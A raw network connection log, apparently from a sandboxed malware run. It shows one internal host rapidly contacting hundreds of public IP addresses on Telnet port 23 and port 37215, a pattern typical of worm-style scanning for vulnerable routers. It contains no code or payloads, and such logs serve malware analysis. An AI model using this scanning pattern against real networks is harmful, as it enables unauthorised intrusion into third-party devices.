Dec 3, 2024 23:01:53.682823896 CET	62862	23	192.168.2.23	115.211.118.231
Dec 3, 2024 23:01:53.682852983 CET	62862	23	192.168.2.23	58.215.11.47
Dec 3, 2024 23:01:53.682877064 CET	62862	23	192.168.2.23	59.189.245.247
Dec 3, 2024 23:01:53.682897091 CET	62862	23	192.168.2.23	45.214.135.203
Dec 3, 2024 23:01:53.682898045 CET	62862	23	192.168.2.23	61.218.24.127
Dec 3, 2024 23:01:53.682918072 CET	62862	23	192.168.2.23	109.19.164.19
Dec 3, 2024 23:01:53.682931900 CET	62862	23	192.168.2.23	91.117.100.122
Dec 3, 2024 23:01:53.682955027 CET	62862	23	192.168.2.23	85.242.46.244
Dec 3, 2024 23:01:53.682971954 CET	62862	23	192.168.2.23	23.23.100.252
Dec 3, 2024 23:01:53.682993889 CET	62862	23	192.168.2.23	121.188.157.24
Dec 3, 2024 23:01:53.683006048 CET	62862	23	192.168.2.23	155.181.18.100
Dec 3, 2024 23:01:53.683021069 CET	62862	23	192.168.2.23	134.5.94.91
Dec 3, 2024 23:01:53.683043003 CET	62862	23	192.168.2.23	164.116.192.128
Dec 3, 2024 23:01:53.683070898 CET	62862	23	192.168.2.23	20.166.24.45
Dec 3, 2024 23:01:53.683094978 CET	62862	23	192.168.2.23	175.227.54.162
Dec 3, 2024 23:01:53.683109045 CET	62862	23	192.168.2.23	14.26.241.100
Dec 3, 2024 23:01:53.683132887 CET	62862	23	192.168.2.23	78.181.24.247
Dec 3, 2024 23:01:53.683156967 CET	62862	23	192.168.2.23	42.62.112.116
Dec 3, 2024 23:01:53.683181047 CET	62862	23	192.168.2.23	170.28.250.57
Dec 3, 2024 23:01:53.683196068 CET	62862	23	192.168.2.23	186.115.38.134
Dec 3, 2024 23:01:53.683218956 CET	62862	23	192.168.2.23	202.3.158.175
Dec 3, 2024 23:01:53.683228970 CET	62862	23	192.168.2.23	44.218.131.63
Dec 3, 2024 23:01:53.683255911 CET	62862	23	192.168.2.23	19.45.251.132
Dec 3, 2024 23:01:53.683280945 CET	62862	23	192.168.2.23	197.139.43.4
Dec 3, 2024 23:01:53.683290005 CET	62862	23	192.168.2.23	197.131.38.186
Dec 3, 2024 23:01:53.683331013 CET	62862	23	192.168.2.23	141.152.62.27
Dec 3, 2024 23:01:53.683331966 CET	62862	23	192.168.2.23	174.39.136.56
Dec 3, 2024 23:01:53.683351994 CET	62862	23	192.168.2.23	164.144.82.188
Dec 3, 2024 23:01:53.683370113 CET	62862	23	192.168.2.23	70.180.41.148
Dec 3, 2024 23:01:53.683394909 CET	62862	23	192.168.2.23	116.37.35.130
Dec 3, 2024 23:01:53.683403969 CET	62862	23	192.168.2.23	9.220.11.156
Dec 3, 2024 23:01:53.683423996 CET	62862	23	192.168.2.23	73.178.181.79
Dec 3, 2024 23:01:53.683429956 CET	62862	23	192.168.2.23	14.133.149.6
Dec 3, 2024 23:01:53.683449030 CET	62862	23	192.168.2.23	8.224.53.34
Dec 3, 2024 23:01:53.683475018 CET	62862	23	192.168.2.23	107.69.37.68
Dec 3, 2024 23:01:53.683487892 CET	62862	23	192.168.2.23	197.130.71.84
Dec 3, 2024 23:01:53.683504105 CET	62862	23	192.168.2.23	179.210.173.49
Dec 3, 2024 23:01:53.683525085 CET	62862	23	192.168.2.23	17.23.143.211
Dec 3, 2024 23:01:53.683541059 CET	62862	23	192.168.2.23	221.90.61.156
Dec 3, 2024 23:01:53.683561087 CET	62862	23	192.168.2.23	139.112.217.189
Dec 3, 2024 23:01:53.683578014 CET	62862	23	192.168.2.23	186.187.142.217
Dec 3, 2024 23:01:53.683592081 CET	62862	23	192.168.2.23	115.232.14.151
Dec 3, 2024 23:01:53.683614016 CET	62862	23	192.168.2.23	201.51.107.11
Dec 3, 2024 23:01:53.683639050 CET	62862	23	192.168.2.23	163.28.33.38
Dec 3, 2024 23:01:53.683653116 CET	62862	23	192.168.2.23	89.182.234.115
Dec 3, 2024 23:01:53.683679104 CET	62862	23	192.168.2.23	194.148.224.250
Dec 3, 2024 23:01:53.683706045 CET	62862	23	192.168.2.23	23.60.125.148
Dec 3, 2024 23:01:53.683726072 CET	62862	23	192.168.2.23	4.253.62.236
Dec 3, 2024 23:01:53.683738947 CET	62862	23	192.168.2.23	50.29.20.59
Dec 3, 2024 23:01:53.683760881 CET	62862	23	192.168.2.23	61.209.148.3
Dec 3, 2024 23:01:53.683789015 CET	62862	23	192.168.2.23	199.222.131.126
Dec 3, 2024 23:01:53.683798075 CET	62862	23	192.168.2.23	69.215.123.13
Dec 3, 2024 23:01:53.683814049 CET	62862	23	192.168.2.23	37.188.213.165
Dec 3, 2024 23:01:53.683828115 CET	62862	23	192.168.2.23	91.249.56.5
Dec 3, 2024 23:01:53.683842897 CET	62862	23	192.168.2.23	50.67.161.132
Dec 3, 2024 23:01:53.683859110 CET	62862	23	192.168.2.23	97.27.131.141
Dec 3, 2024 23:01:53.683870077 CET	62862	23	192.168.2.23	206.154.57.253
Dec 3, 2024 23:01:53.683882952 CET	62862	23	192.168.2.23	53.145.142.221
Dec 3, 2024 23:01:53.683891058 CET	62862	23	192.168.2.23	138.11.220.100
Dec 3, 2024 23:01:53.683903933 CET	62862	23	192.168.2.23	66.190.56.3
Dec 3, 2024 23:01:53.683923006 CET	62862	23	192.168.2.23	69.59.91.194
Dec 3, 2024 23:01:53.683947086 CET	62862	23	192.168.2.23	4.23.119.26
Dec 3, 2024 23:01:53.683970928 CET	62862	23	192.168.2.23	41.159.73.184
Dec 3, 2024 23:01:53.683995962 CET	62862	23	192.168.2.23	202.15.27.29
Dec 3, 2024 23:01:53.684009075 CET	62862	23	192.168.2.23	177.80.161.31
Dec 3, 2024 23:01:53.684026003 CET	62862	23	192.168.2.23	221.185.43.200
Dec 3, 2024 23:01:53.684048891 CET	62862	23	192.168.2.23	170.132.65.12
Dec 3, 2024 23:01:53.684062004 CET	62862	23	192.168.2.23	65.238.156.197
Dec 3, 2024 23:01:53.684077978 CET	62862	23	192.168.2.23	135.241.205.95
Dec 3, 2024 23:01:53.684089899 CET	62862	23	192.168.2.23	107.69.89.79
Dec 3, 2024 23:01:53.684114933 CET	62862	23	192.168.2.23	190.28.196.106
Dec 3, 2024 23:01:53.684137106 CET	62862	23	192.168.2.23	96.121.183.148
Dec 3, 2024 23:01:53.684159040 CET	62862	23	192.168.2.23	123.2.168.170
Dec 3, 2024 23:01:53.684175968 CET	62862	23	192.168.2.23	31.68.99.190
Dec 3, 2024 23:01:53.684201002 CET	62862	23	192.168.2.23	65.74.65.61
Dec 3, 2024 23:01:53.684216022 CET	62862	23	192.168.2.23	134.229.210.220
Dec 3, 2024 23:01:53.684241056 CET	62862	23	192.168.2.23	156.146.66.24
Dec 3, 2024 23:01:53.684253931 CET	62862	23	192.168.2.23	87.186.236.59
Dec 3, 2024 23:01:53.684278011 CET	62862	23	192.168.2.23	43.204.230.105
Dec 3, 2024 23:01:53.684288025 CET	62862	23	192.168.2.23	112.219.2.13
Dec 3, 2024 23:01:53.684319973 CET	62862	23	192.168.2.23	180.120.23.91
Dec 3, 2024 23:01:53.684325933 CET	62862	23	192.168.2.23	91.106.16.22
Dec 3, 2024 23:01:53.684355974 CET	62862	23	192.168.2.23	107.80.55.114
Dec 3, 2024 23:01:53.684366941 CET	62862	23	192.168.2.23	177.150.230.125
Dec 3, 2024 23:01:53.684381008 CET	62862	23	192.168.2.23	131.107.237.110
Dec 3, 2024 23:01:53.684402943 CET	62862	23	192.168.2.23	75.57.151.47
Dec 3, 2024 23:01:53.684413910 CET	62862	23	192.168.2.23	57.23.52.15
Dec 3, 2024 23:01:53.684431076 CET	62862	23	192.168.2.23	135.51.201.7
Dec 3, 2024 23:01:53.684456110 CET	62862	23	192.168.2.23	97.88.195.164
Dec 3, 2024 23:01:53.684479952 CET	62862	23	192.168.2.23	102.237.10.104
Dec 3, 2024 23:01:53.684494972 CET	62862	23	192.168.2.23	94.97.227.149
Dec 3, 2024 23:01:53.684506893 CET	62862	23	192.168.2.23	113.84.180.125
Dec 3, 2024 23:01:53.684535027 CET	62862	23	192.168.2.23	128.20.150.128
Dec 3, 2024 23:01:53.684544086 CET	62862	23	192.168.2.23	93.107.165.74
Dec 3, 2024 23:01:53.684557915 CET	62862	23	192.168.2.23	199.227.38.102
Dec 3, 2024 23:01:53.684571981 CET	62862	23	192.168.2.23	106.57.254.71
Dec 3, 2024 23:01:53.684597015 CET	62862	23	192.168.2.23	58.144.218.239
Dec 3, 2024 23:01:53.684619904 CET	62862	23	192.168.2.23	68.85.191.9
Dec 3, 2024 23:01:53.684643984 CET	62862	23	192.168.2.23	170.86.210.124
Dec 3, 2024 23:01:53.684657097 CET	62862	23	192.168.2.23	112.50.116.24
Dec 3, 2024 23:01:53.684680939 CET	62862	23	192.168.2.23	38.167.179.35
Dec 3, 2024 23:01:53.684694052 CET	62862	23	192.168.2.23	50.193.127.227
Dec 3, 2024 23:01:53.684708118 CET	62862	23	192.168.2.23	98.171.147.70
Dec 3, 2024 23:01:53.684720039 CET	62862	23	192.168.2.23	91.101.114.13
Dec 3, 2024 23:01:53.684746981 CET	62862	23	192.168.2.23	113.118.77.19
Dec 3, 2024 23:01:53.684772968 CET	62862	23	192.168.2.23	108.8.73.87
Dec 3, 2024 23:01:53.684779882 CET	62862	23	192.168.2.23	84.176.76.23
Dec 3, 2024 23:01:53.684808969 CET	62862	23	192.168.2.23	20.194.197.190
Dec 3, 2024 23:01:53.684830904 CET	62862	23	192.168.2.23	156.149.96.246
Dec 3, 2024 23:01:53.684843063 CET	62862	23	192.168.2.23	174.179.112.66
Dec 3, 2024 23:01:53.684865952 CET	62862	23	192.168.2.23	139.67.46.214
Dec 3, 2024 23:01:53.684878111 CET	62862	23	192.168.2.23	193.77.191.107
Dec 3, 2024 23:01:53.684897900 CET	62862	23	192.168.2.23	39.105.109.108
Dec 3, 2024 23:01:53.684907913 CET	62862	23	192.168.2.23	124.7.9.239
Dec 3, 2024 23:01:53.684923887 CET	62862	23	192.168.2.23	204.122.19.122
Dec 3, 2024 23:01:53.684947968 CET	62862	23	192.168.2.23	50.253.111.102
Dec 3, 2024 23:01:53.684972048 CET	62862	23	192.168.2.23	172.48.20.36
Dec 3, 2024 23:01:53.684993029 CET	62862	23	192.168.2.23	159.187.41.111
Dec 3, 2024 23:01:53.685012102 CET	62862	23	192.168.2.23	98.247.42.12
Dec 3, 2024 23:01:53.685038090 CET	62862	23	192.168.2.23	37.131.125.47
Dec 3, 2024 23:01:53.685061932 CET	62862	23	192.168.2.23	192.152.182.222
Dec 3, 2024 23:01:53.685087919 CET	62862	23	192.168.2.23	106.43.41.217
Dec 3, 2024 23:01:53.685112000 CET	62862	23	192.168.2.23	43.234.218.209
Dec 3, 2024 23:01:53.685137987 CET	62862	23	192.168.2.23	123.18.230.44
Dec 3, 2024 23:01:53.685149908 CET	62862	23	192.168.2.23	222.25.184.145
Dec 3, 2024 23:01:53.685173035 CET	62862	23	192.168.2.23	70.138.46.17
Dec 3, 2024 23:01:53.685199976 CET	62862	23	192.168.2.23	57.136.151.126
Dec 3, 2024 23:01:53.685214043 CET	62862	23	192.168.2.23	204.97.95.47
Dec 3, 2024 23:01:53.685226917 CET	62862	23	192.168.2.23	110.23.195.66
Dec 3, 2024 23:01:53.685250998 CET	62862	23	192.168.2.23	92.19.12.233
Dec 3, 2024 23:01:53.685272932 CET	62862	23	192.168.2.23	45.173.77.143
Dec 3, 2024 23:01:53.685300112 CET	62862	23	192.168.2.23	69.239.14.217
Dec 3, 2024 23:01:53.685343027 CET	62862	23	192.168.2.23	5.85.181.81
Dec 3, 2024 23:01:53.685343981 CET	62862	23	192.168.2.23	64.250.170.231
Dec 3, 2024 23:01:53.685359955 CET	62862	23	192.168.2.23	162.132.83.103
Dec 3, 2024 23:01:53.685384035 CET	62862	23	192.168.2.23	163.72.39.28
Dec 3, 2024 23:01:53.685406923 CET	62862	23	192.168.2.23	41.52.150.212
Dec 3, 2024 23:01:53.685421944 CET	62862	23	192.168.2.23	52.67.102.209
Dec 3, 2024 23:01:53.685452938 CET	62862	23	192.168.2.23	201.135.205.12
Dec 3, 2024 23:01:53.685473919 CET	62862	23	192.168.2.23	58.160.122.80
Dec 3, 2024 23:01:53.685499907 CET	62862	23	192.168.2.23	157.66.91.36
Dec 3, 2024 23:01:53.685509920 CET	62862	23	192.168.2.23	162.73.149.35
Dec 3, 2024 23:01:53.685520887 CET	62862	23	192.168.2.23	14.13.125.38
Dec 3, 2024 23:01:53.685553074 CET	62862	23	192.168.2.23	152.25.45.217
Dec 3, 2024 23:01:53.685559034 CET	62862	23	192.168.2.23	78.248.58.16
Dec 3, 2024 23:01:53.685570955 CET	62862	23	192.168.2.23	191.198.71.66
Dec 3, 2024 23:01:53.685574055 CET	62862	23	192.168.2.23	25.236.204.106
Dec 3, 2024 23:01:53.685581923 CET	62862	23	192.168.2.23	216.194.25.241
Dec 3, 2024 23:01:53.685585022 CET	62862	23	192.168.2.23	202.229.213.15
Dec 3, 2024 23:01:53.685595989 CET	62862	23	192.168.2.23	121.33.72.77
Dec 3, 2024 23:01:53.685606956 CET	62862	23	192.168.2.23	216.191.95.67
Dec 3, 2024 23:01:53.685616016 CET	62862	23	192.168.2.23	157.46.204.252
Dec 3, 2024 23:01:53.685623884 CET	62862	23	192.168.2.23	189.87.125.134
Dec 3, 2024 23:01:53.685636044 CET	62862	23	192.168.2.23	202.39.217.219
Dec 3, 2024 23:01:53.685642958 CET	62862	23	192.168.2.23	206.41.254.206
Dec 3, 2024 23:01:53.685642958 CET	62862	23	192.168.2.23	120.10.139.19
Dec 3, 2024 23:01:53.685652971 CET	62862	23	192.168.2.23	41.83.113.49
Dec 3, 2024 23:01:53.685661077 CET	62862	23	192.168.2.23	53.187.96.116
Dec 3, 2024 23:01:53.685662031 CET	62862	23	192.168.2.23	68.205.2.98
Dec 3, 2024 23:01:53.685662031 CET	62862	23	192.168.2.23	34.158.184.56
Dec 3, 2024 23:01:53.685669899 CET	62862	23	192.168.2.23	195.73.150.65
Dec 3, 2024 23:01:53.685673952 CET	62862	23	192.168.2.23	143.233.160.132
Dec 3, 2024 23:01:53.685677052 CET	62862	23	192.168.2.23	132.231.106.202
Dec 3, 2024 23:01:53.685689926 CET	62862	23	192.168.2.23	17.176.40.195
Dec 3, 2024 23:01:53.685691118 CET	62862	23	192.168.2.23	139.51.144.30
Dec 3, 2024 23:01:53.685691118 CET	62862	23	192.168.2.23	199.237.227.18
Dec 3, 2024 23:01:53.685694933 CET	62862	23	192.168.2.23	213.199.75.198
Dec 3, 2024 23:01:53.685694933 CET	62862	23	192.168.2.23	131.99.221.82
Dec 3, 2024 23:01:53.685699940 CET	62862	23	192.168.2.23	43.191.18.22
Dec 3, 2024 23:01:53.685714960 CET	62862	23	192.168.2.23	104.66.106.106
Dec 3, 2024 23:01:53.685720921 CET	62862	23	192.168.2.23	101.212.4.149
Dec 3, 2024 23:01:53.685720921 CET	62862	23	192.168.2.23	75.217.44.154
Dec 3, 2024 23:01:53.685726881 CET	62862	23	192.168.2.23	87.235.208.86
Dec 3, 2024 23:01:53.685736895 CET	62862	23	192.168.2.23	46.3.46.155
Dec 3, 2024 23:01:53.685736895 CET	62862	23	192.168.2.23	118.132.122.91
Dec 3, 2024 23:01:53.685746908 CET	62862	23	192.168.2.23	174.83.125.84
Dec 3, 2024 23:01:53.685754061 CET	62862	23	192.168.2.23	190.135.84.177
Dec 3, 2024 23:01:53.685759068 CET	62862	23	192.168.2.23	83.67.112.137
Dec 3, 2024 23:01:53.685759068 CET	62862	23	192.168.2.23	104.2.215.197
Dec 3, 2024 23:01:53.685760975 CET	62862	23	192.168.2.23	9.230.210.141
Dec 3, 2024 23:01:53.685765982 CET	62862	23	192.168.2.23	144.27.172.75
Dec 3, 2024 23:01:53.685769081 CET	62862	23	192.168.2.23	203.15.254.252
Dec 3, 2024 23:01:53.685771942 CET	62862	23	192.168.2.23	210.239.107.205
Dec 3, 2024 23:01:53.685774088 CET	62862	23	192.168.2.23	205.84.110.167
Dec 3, 2024 23:01:53.685774088 CET	62862	23	192.168.2.23	113.87.251.95
Dec 3, 2024 23:01:53.685776949 CET	62862	23	192.168.2.23	134.147.225.152
Dec 3, 2024 23:01:53.685780048 CET	62862	23	192.168.2.23	143.14.77.118
Dec 3, 2024 23:01:53.685796976 CET	62862	23	192.168.2.23	136.97.128.76
Dec 3, 2024 23:01:53.685800076 CET	62862	23	192.168.2.23	157.151.31.229
Dec 3, 2024 23:01:53.685802937 CET	62862	23	192.168.2.23	139.192.5.63
Dec 3, 2024 23:01:53.685802937 CET	62862	23	192.168.2.23	18.196.130.27
Dec 3, 2024 23:01:53.685802937 CET	62862	23	192.168.2.23	205.109.49.139
Dec 3, 2024 23:01:53.685803890 CET	62862	23	192.168.2.23	158.124.111.97
Dec 3, 2024 23:01:53.685808897 CET	62862	23	192.168.2.23	38.40.114.43
Dec 3, 2024 23:01:53.685811043 CET	62862	23	192.168.2.23	62.60.76.144
Dec 3, 2024 23:01:53.685826063 CET	62862	23	192.168.2.23	222.183.130.177
Dec 3, 2024 23:01:53.685827017 CET	62862	23	192.168.2.23	47.85.196.210
Dec 3, 2024 23:01:53.685831070 CET	62862	23	192.168.2.23	76.3.17.163
Dec 3, 2024 23:01:53.685846090 CET	62862	23	192.168.2.23	212.63.6.176
Dec 3, 2024 23:01:53.685847044 CET	62862	23	192.168.2.23	142.107.248.106
Dec 3, 2024 23:01:53.685847998 CET	62862	23	192.168.2.23	25.133.118.255
Dec 3, 2024 23:01:53.685847998 CET	62862	23	192.168.2.23	90.220.155.152
Dec 3, 2024 23:01:53.685847998 CET	62862	23	192.168.2.23	181.110.2.116
Dec 3, 2024 23:01:53.685852051 CET	62862	23	192.168.2.23	98.170.149.151
Dec 3, 2024 23:01:53.685872078 CET	62862	23	192.168.2.23	150.99.144.96
Dec 3, 2024 23:01:53.685874939 CET	62862	23	192.168.2.23	201.237.143.42
Dec 3, 2024 23:01:53.685877085 CET	62862	23	192.168.2.23	48.25.172.130
Dec 3, 2024 23:01:53.685878992 CET	62862	23	192.168.2.23	69.203.82.184
Dec 3, 2024 23:01:53.685878992 CET	62862	23	192.168.2.23	146.149.78.152
Dec 3, 2024 23:01:53.685882092 CET	62862	23	192.168.2.23	138.27.128.129
Dec 3, 2024 23:01:53.685883045 CET	62862	23	192.168.2.23	67.162.39.63
Dec 3, 2024 23:01:53.685883045 CET	62862	23	192.168.2.23	98.208.173.110
Dec 3, 2024 23:01:53.685885906 CET	62862	23	192.168.2.23	191.131.142.243
Dec 3, 2024 23:01:53.685904026 CET	62862	23	192.168.2.23	104.98.48.170
Dec 3, 2024 23:01:53.685904980 CET	62862	23	192.168.2.23	187.179.119.130
Dec 3, 2024 23:01:53.685905933 CET	62862	23	192.168.2.23	51.97.236.162
Dec 3, 2024 23:01:53.685905933 CET	62862	23	192.168.2.23	53.152.91.49
Dec 3, 2024 23:01:53.685913086 CET	62862	23	192.168.2.23	157.209.246.25
Dec 3, 2024 23:01:53.685915947 CET	62862	23	192.168.2.23	114.174.82.242
Dec 3, 2024 23:01:53.685919046 CET	62862	23	192.168.2.23	191.236.110.221
Dec 3, 2024 23:01:53.685919046 CET	62862	23	192.168.2.23	218.129.16.50
Dec 3, 2024 23:01:53.685934067 CET	62862	23	192.168.2.23	105.198.201.21
Dec 3, 2024 23:01:53.685940981 CET	62862	23	192.168.2.23	81.64.22.167
Dec 3, 2024 23:01:53.685944080 CET	62862	23	192.168.2.23	82.211.64.225
Dec 3, 2024 23:01:53.685945988 CET	62862	23	192.168.2.23	174.144.126.29
Dec 3, 2024 23:01:53.685960054 CET	62862	23	192.168.2.23	213.52.179.191
Dec 3, 2024 23:01:53.685960054 CET	62862	23	192.168.2.23	82.144.227.175
Dec 3, 2024 23:01:53.685965061 CET	62862	23	192.168.2.23	114.170.69.164
Dec 3, 2024 23:01:53.685965061 CET	62862	23	192.168.2.23	200.200.85.108
Dec 3, 2024 23:01:53.685966969 CET	62862	23	192.168.2.23	136.57.31.214
Dec 3, 2024 23:01:53.685975075 CET	62862	23	192.168.2.23	114.134.135.28
Dec 3, 2024 23:01:53.685985088 CET	62862	23	192.168.2.23	126.46.242.246
Dec 3, 2024 23:01:53.685985088 CET	62862	23	192.168.2.23	183.33.73.184
Dec 3, 2024 23:01:53.685992002 CET	62862	23	192.168.2.23	161.148.157.61
Dec 3, 2024 23:01:53.685993910 CET	62862	23	192.168.2.23	94.71.102.32
Dec 3, 2024 23:01:53.686002016 CET	62862	23	192.168.2.23	2.58.114.117
Dec 3, 2024 23:01:53.686008930 CET	62862	23	192.168.2.23	194.217.160.42
Dec 3, 2024 23:01:53.686008930 CET	62862	23	192.168.2.23	186.122.80.182
Dec 3, 2024 23:01:53.686017036 CET	62862	23	192.168.2.23	35.22.28.211
Dec 3, 2024 23:01:53.686036110 CET	62862	23	192.168.2.23	61.141.153.3
Dec 3, 2024 23:01:53.686036110 CET	62862	23	192.168.2.23	105.92.80.65
Dec 3, 2024 23:01:53.686044931 CET	62862	23	192.168.2.23	38.57.156.95
Dec 3, 2024 23:01:53.698059082 CET	36916	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:53.698065996 CET	37974	37215	192.168.2.23	156.145.2.77
Dec 3, 2024 23:01:53.698069096 CET	52568	37215	192.168.2.23	197.130.163.222
Dec 3, 2024 23:01:53.698074102 CET	37500	37215	192.168.2.23	197.37.119.131
Dec 3, 2024 23:01:53.698075056 CET	34086	37215	192.168.2.23	197.118.220.84
Dec 3, 2024 23:01:53.698080063 CET	59542	37215	192.168.2.23	41.127.74.68
Dec 3, 2024 23:01:53.698090076 CET	36988	37215	192.168.2.23	156.202.104.175
Dec 3, 2024 23:01:53.698091984 CET	36986	37215	192.168.2.23	156.74.132.76
Dec 3, 2024 23:01:53.698091984 CET	54528	37215	192.168.2.23	156.111.209.90
Dec 3, 2024 23:01:53.698091984 CET	42082	37215	192.168.2.23	41.43.171.109
Dec 3, 2024 23:01:53.698101997 CET	53016	37215	192.168.2.23	156.20.162.225
Dec 3, 2024 23:01:53.698106050 CET	53094	37215	192.168.2.23	197.27.170.17
Dec 3, 2024 23:01:53.698112011 CET	33080	37215	192.168.2.23	41.173.15.244
Dec 3, 2024 23:01:53.698112011 CET	53794	37215	192.168.2.23	197.211.19.43
Dec 3, 2024 23:01:53.698118925 CET	53220	37215	192.168.2.23	197.79.74.187
Dec 3, 2024 23:01:53.698123932 CET	37632	37215	192.168.2.23	156.23.242.149
Dec 3, 2024 23:01:53.698128939 CET	33500	37215	192.168.2.23	197.150.177.252
Dec 3, 2024 23:01:53.698132992 CET	58830	37215	192.168.2.23	156.33.74.115
Dec 3, 2024 23:01:53.698136091 CET	44554	37215	192.168.2.23	41.174.187.213
Dec 3, 2024 23:01:53.698143005 CET	42554	37215	192.168.2.23	197.211.48.50
Dec 3, 2024 23:01:53.698152065 CET	43342	37215	192.168.2.23	156.81.65.54
Dec 3, 2024 23:01:53.698153019 CET	49258	37215	192.168.2.23	156.13.181.214
Dec 3, 2024 23:01:53.698156118 CET	41144	37215	192.168.2.23	41.254.119.233
Dec 3, 2024 23:01:53.698158979 CET	46778	37215	192.168.2.23	156.45.237.112
Dec 3, 2024 23:01:53.698168039 CET	41202	37215	192.168.2.23	156.225.99.153
Dec 3, 2024 23:01:53.698172092 CET	52550	37215	192.168.2.23	197.139.56.3
Dec 3, 2024 23:01:53.698179960 CET	56998	37215	192.168.2.23	197.251.219.109
Dec 3, 2024 23:01:53.698194981 CET	58828	37215	192.168.2.23	41.176.120.16
Dec 3, 2024 23:01:53.698209047 CET	35814	37215	192.168.2.23	41.237.88.247
Dec 3, 2024 23:01:53.698218107 CET	59670	37215	192.168.2.23	197.83.17.121
Dec 3, 2024 23:01:53.698232889 CET	51736	37215	192.168.2.23	197.38.142.96
Dec 3, 2024 23:01:53.698245049 CET	49762	37215	192.168.2.23	156.175.145.194
Dec 3, 2024 23:01:53.698257923 CET	57472	37215	192.168.2.23	197.105.199.42
Dec 3, 2024 23:01:53.698270082 CET	34246	37215	192.168.2.23	156.136.75.166
Dec 3, 2024 23:01:53.698283911 CET	46104	37215	192.168.2.23	41.19.59.90
Dec 3, 2024 23:01:53.698292017 CET	37246	37215	192.168.2.23	197.24.115.43
Dec 3, 2024 23:01:53.698308945 CET	45832	37215	192.168.2.23	156.126.231.201
Dec 3, 2024 23:01:53.698322058 CET	41848	37215	192.168.2.23	197.162.115.184
Dec 3, 2024 23:01:53.698334932 CET	33670	37215	192.168.2.23	41.252.94.225
Dec 3, 2024 23:01:53.698349953 CET	34282	37215	192.168.2.23	156.233.245.14
Dec 3, 2024 23:01:53.698358059 CET	42312	37215	192.168.2.23	156.81.179.33
Dec 3, 2024 23:01:53.698374987 CET	57926	37215	192.168.2.23	156.249.195.29
Dec 3, 2024 23:01:53.698383093 CET	55686	37215	192.168.2.23	41.19.39.42
Dec 3, 2024 23:01:53.698393106 CET	33746	37215	192.168.2.23	197.42.120.95
Dec 3, 2024 23:01:53.698400974 CET	50526	37215	192.168.2.23	197.234.115.119
Dec 3, 2024 23:01:53.698416948 CET	55102	37215	192.168.2.23	197.191.128.184
Dec 3, 2024 23:01:53.698431969 CET	45924	37215	192.168.2.23	156.106.43.105
Dec 3, 2024 23:01:53.698445082 CET	35810	37215	192.168.2.23	41.255.211.125
Dec 3, 2024 23:01:53.698456049 CET	40180	37215	192.168.2.23	156.143.237.92
Dec 3, 2024 23:01:53.698468924 CET	49242	37215	192.168.2.23	156.100.53.122
Dec 3, 2024 23:01:53.698482990 CET	41444	37215	192.168.2.23	156.105.224.65
Dec 3, 2024 23:01:53.698493958 CET	33002	37215	192.168.2.23	41.208.229.105
Dec 3, 2024 23:01:53.698506117 CET	52184	37215	192.168.2.23	197.71.201.193
Dec 3, 2024 23:01:53.698518991 CET	59854	37215	192.168.2.23	156.156.6.202
Dec 3, 2024 23:01:53.698533058 CET	33842	37215	192.168.2.23	197.126.190.215
Dec 3, 2024 23:01:53.698544025 CET	52026	37215	192.168.2.23	156.13.35.17
Dec 3, 2024 23:01:53.698558092 CET	60886	37215	192.168.2.23	197.17.74.180
Dec 3, 2024 23:01:53.698570967 CET	56822	37215	192.168.2.23	156.221.56.22
Dec 3, 2024 23:01:53.698580027 CET	48106	37215	192.168.2.23	197.209.55.44
Dec 3, 2024 23:01:53.698592901 CET	57588	37215	192.168.2.23	197.72.158.49
Dec 3, 2024 23:01:53.698606014 CET	47006	37215	192.168.2.23	156.24.231.185
Dec 3, 2024 23:01:53.804260015 CET	23	62862	41.172.185.172	192.168.2.23
Dec 3, 2024 23:01:53.804271936 CET	23	62862	77.77.7.2	192.168.2.23
Dec 3, 2024 23:01:53.804280043 CET	23	62862	200.12.124.91	192.168.2.23
Dec 3, 2024 23:01:53.804289103 CET	23	62862	210.241.42.131	192.168.2.23
Dec 3, 2024 23:01:53.804303885 CET	23	62862	132.153.207.112	192.168.2.23
Dec 3, 2024 23:01:53.804312944 CET	23	62862	139.75.161.48	192.168.2.23
Dec 3, 2024 23:01:53.804352045 CET	23	62862	141.37.114.234	192.168.2.23
Dec 3, 2024 23:01:53.804361105 CET	23	62862	93.236.63.84	192.168.2.23
Dec 3, 2024 23:01:53.804406881 CET	23	62862	179.2.66.100	192.168.2.23
Dec 3, 2024 23:01:53.804419994 CET	23	62862	172.4.78.70	192.168.2.23
Dec 3, 2024 23:01:53.804429054 CET	23	62862	94.133.38.154	192.168.2.23
Dec 3, 2024 23:01:53.804445982 CET	23	62862	9.200.223.29	192.168.2.23
Dec 3, 2024 23:01:53.804455042 CET	23	62862	72.124.70.239	192.168.2.23
Dec 3, 2024 23:01:53.804459095 CET	23	62862	143.185.144.49	192.168.2.23
Dec 3, 2024 23:01:53.804467916 CET	62862	23	192.168.2.23	139.75.161.48
Dec 3, 2024 23:01:53.804467916 CET	62862	23	192.168.2.23	179.2.66.100
Dec 3, 2024 23:01:53.804470062 CET	62862	23	192.168.2.23	77.77.7.2
Dec 3, 2024 23:01:53.804486990 CET	62862	23	192.168.2.23	143.185.144.49
Dec 3, 2024 23:01:53.804487944 CET	62862	23	192.168.2.23	72.124.70.239
Dec 3, 2024 23:01:53.804491043 CET	23	62862	108.86.7.140	192.168.2.23
Dec 3, 2024 23:01:53.804529905 CET	62862	23	192.168.2.23	41.172.185.172
Dec 3, 2024 23:01:53.804544926 CET	62862	23	192.168.2.23	108.86.7.140
Dec 3, 2024 23:01:53.804557085 CET	62862	23	192.168.2.23	200.12.124.91
Dec 3, 2024 23:01:53.804579020 CET	62862	23	192.168.2.23	210.241.42.131
Dec 3, 2024 23:01:53.804600000 CET	62862	23	192.168.2.23	132.153.207.112
Dec 3, 2024 23:01:53.804615974 CET	62862	23	192.168.2.23	141.37.114.234
Dec 3, 2024 23:01:53.804632902 CET	62862	23	192.168.2.23	93.236.63.84
Dec 3, 2024 23:01:53.804651976 CET	62862	23	192.168.2.23	172.4.78.70
Dec 3, 2024 23:01:53.804668903 CET	62862	23	192.168.2.23	94.133.38.154
Dec 3, 2024 23:01:53.804693937 CET	62862	23	192.168.2.23	9.200.223.29
Dec 3, 2024 23:01:53.805473089 CET	23	62862	107.133.167.33	192.168.2.23
Dec 3, 2024 23:01:53.805481911 CET	23	62862	151.116.191.93	192.168.2.23
Dec 3, 2024 23:01:53.805490971 CET	23	62862	118.44.253.122	192.168.2.23
Dec 3, 2024 23:01:53.805501938 CET	23	62862	191.138.163.103	192.168.2.23
Dec 3, 2024 23:01:53.805520058 CET	62862	23	192.168.2.23	107.133.167.33
Dec 3, 2024 23:01:53.805522919 CET	23	62862	190.64.193.204	192.168.2.23
